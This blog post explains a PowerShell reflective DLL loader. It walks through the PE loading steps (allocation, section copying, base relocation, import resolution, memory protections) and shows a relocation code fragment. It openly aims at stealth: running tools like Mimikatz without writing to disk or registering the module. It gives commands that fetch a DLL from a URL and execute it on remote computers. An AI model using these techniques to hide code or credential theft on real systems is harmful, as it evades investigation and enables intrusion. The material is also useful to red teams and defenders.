Normally when you load a DLL in Windows, you call LoadLibrary. LoadLibrary takes the file path of a DLL and loads it in to memory. In addition to the DLL being on disk, the DLL will show up when tools such as ListDLLs are used to enumerate the DLLs loaded in memory.
Reflective DLL loading refers to loading a DLL from memory rather than from disk. Windows doesn’t have a LoadLibrary function that supports this, so to get the functionality you have to write your own. One benefit to writing our own function is that we omit some of the things Windows normally does, such as registering the DLL as a loaded module in the process, which makes the reflective loader sneakier when being investigated. Meterpreter is an example of a tool which uses reflective loading to hide itself.
So why write this in PowerShell? Two reasons, first, a PowerShell script simply executes PowerShell.exe on the target system, which isn’t particularly suspicious. Second, PowerShell remoting allows us to remotely execute scripts without ever writing to disk on the target system. How sneaky :-).
My initial goal was to be able to run a tool like Mimikatz (http://blog.gentilkiwi.com/mimikatz) without ever writing to disk, but there are plenty of other uses.
I’m going describe what this script does, but there are better resources available on the Internet; I suggest you check them out if you really want more information on the process of loading a DLL. I’ll include some links at the bottom of this post to material I found useful.
In a nutshell, LoadLibrary does the following steps (and additional ones which I haven’t implemented because they don’t appear to be needed):
- Allocate space for the DLL and copy the DLL headers in to memory
- Copy the DLL sections to memory
- Perform base relocations on the sections loaded
- Load DLLs required by the DLL being loaded
- Set correct memory permissions in memory for the DLL
- Call DLLMain so the DLL knows it is loaded
- Return the handle to the DLL, which is the memory address of the first byte of the DLL
It’s worth noting that LoadLibrary probably does some stuff that my script doesn’t in each of these steps. My undemanding test cases work fine, but it almost certainly will have bugs when used with a wide range of DLL’s.
1. Allocate space for the DLL and copy the DLL header to memory
Executable files contain headers with important information, and these headers need to be copied in to memory.
First we allocate space for the DLL, this is done by getting the value SizeOfImage from IMAGE_OPTIONAL_HEADER, which indicates the amount of space the DLL takes up in memory. The IMAGE_OPTIONAL_HEADER also contains the field “ImageBase”. This contains the address the DLL would like to be loaded to. I ignore this request and instead load the DLL to a random location. It’s not as good as ASLR, but it’s better than nothing. This will become relevant for step 3, performing the base relocations.
Then we copy all the DLL headers in to memory, starting at the beginning of allocated memory.
2. Copy the DLL sections to memory
Every DLL has multiple sections, this includes things like the code, data, etc. The structures containing information for these headers are located directly after IMAGE_NT_HEADERS in the DLL file. Each section has several variables we care about when loading a DLL:
SizeOfRawData: The size the data takes up on disk
PointerToRawData: The offset from the beginning of the DLL to the data
VirtualSize: The size the data takes up in memory
It is important to note that VirtualSize ultimately determines how much data is written to memory. In an ideal world, SizeOfRawData and VirtualSize would always be equal, but that is not the case.
If VirtualSize is greater than SizeOfRawData, it indicates that there is uninitialized data which we are allocating space for. In this case, we write all the data from disk in to memory (SizeOfRawData bytes), and then zero out the additional memory which is unallocated (VirtualSize-SizeOfRawData bytes).
Sometimes SizeOfRawData is greater than VirtualSize; this happens because SizeOfRawData must be rounded up to the nearest FileAlignment multiple. VirtualSize indicates how much of the data is actually needed, the extra data is just padding.
If PointerToRawData is null, I set SizeOfRawData to zero. This results in VirtualSize bytes being initialized to zero in memory (because we always use VirtualSize bytes). PointerToRawData being null should indicate the section is entirely uninitialized data.
3. Perform base relocations on the sections loaded
When a DLL is compiled, it has a base address it would like to be loaded to. All the memory addresses compiled in to the program (function addresses, variable address, etc) are determined by the compiler based on the ImageBase. Because we loaded the DLL to a different memory location, all of the memory addresses which were hardcoded in to the DLL need to be modified according to the difference of where the DLL wanted to be loaded and where it was loaded. There is an array of IMAGE_BASE_RELOCATION structures in the DLL headers which keep track of the locations of all memory addresses hardcoded in to the DLL.
Each IMAGE_BASE_RELOCATION is followed by an array of UInt16’s. The IMAGE_BASE_RELOCATION contains two fields, SizeOfBlock which indicates the size of the IMAGE_BASE_RELOCATION and following UInt16s, and VirtualAddress which is the base address for the relocations.
Each UInt16 in the UInt16 array contains information about the relocation. The first 4 bits represent the relocation type. For a DLL there are only two types which are used, IMAGE_REL_BASED_HIGHLOW which is used for 32bit DLLs and IMAGE_REL_BASED_DIR64 which is used for 64 bit DLLs. There is a third type, IMAGE_REL_BASED_ABSOLUTE, which is just used for memory alignment. The last 12 bits of the UInt16 represent the offset from the base address, defined above by the VirtualAddress field, that the memory address which needs to be relocated exists.
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
#Get the current memory address and update it based off the difference between Dll expected base address and actual base address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr])
if ($AddDifference -eq $true)
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
What the code shows is that we add the offset to the MemAddrBase, which is the VirtualAddress. We use this value (FinalAddr) as a pointer to an IntPtr (CurrAddr) which is either 32bit or 64bit depending on the process running, this value is the address to relocate. We then either add or subtract the difference in base address compared to loaded address from CurrAddr and write it back in to memory.
Using this process, we loop through all the IMAGE_BASE_RELOCATIONS and relocate all memory addresses in the DLL.
4. Load DLLs required by the DLL being loaded
The DLL we are loading likely has DLL’s it requires, so we must load them. We must then get the address to all the functions needed by our reflective DLL and overwrite the placeholder function addresses with the loaded addresses.
The IMAGE_OPTIONAL_HEADER structure contains a VirtualAddress which points to an array of IMAGE_IMPORT_DESCRIPTOR structures. The name field of this structure contains a pointer to a string, which is the name of the DLL to load. The FirstThunk field is initially a pointer to a RVA (memory offset from DLL Handle) to an array of IMAGE_IMPORT_BY_NAME structures. This structure contains a WORD followed by a string containing the function name. We call GetProcAddress and get the process address, and replace the pointer to RVA to IMAGE_IMPORT_BY_NAME with a pointer to the function.
5. Set correct memory permissions in memory for the DLL
This last step is pretty simple, each section header contains a characteristics field which contains a bunch of information including the memory protection flags which should be applied to memory of the section. We get these protection flags and set them in memory using VirtualProtect.
How to use the script:
The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array; I recommend doing this for any DLL you plan on using often.
Here’s an example that loads a DLL from a URL and runs it on a remote computer:
Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER
An example that loads a DLL from a file and runs it on a list of computers loaded from computers.txt:
Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt)
You probably noticed the -FuncReturnType parameter. Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function. To make life a little easier, I have provided three function definitions in the script. The function definitions are:
If you create a DLL which has one of these functions exported, you can specify the function by using the -FuncReturnType with the types Void, String, and WString. You can also just write your own delegates in the script, it’s not very difficult.
The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.
What isn’t implemented yet:
- EXE loading – You can actually load EXE’s right now, you just can’t pass them parameters. I’m working on this right now, the ability to reflectively load EXE’s should be coming soon :-).
- Remote injection – Right now the script can’t inject a DLL in a remote process. I’d like to investigate how possible this is with PowerShell once I finish up EXE loading.
You can find the script at:
You can find a sample DLL project at:
Other reflective loaders: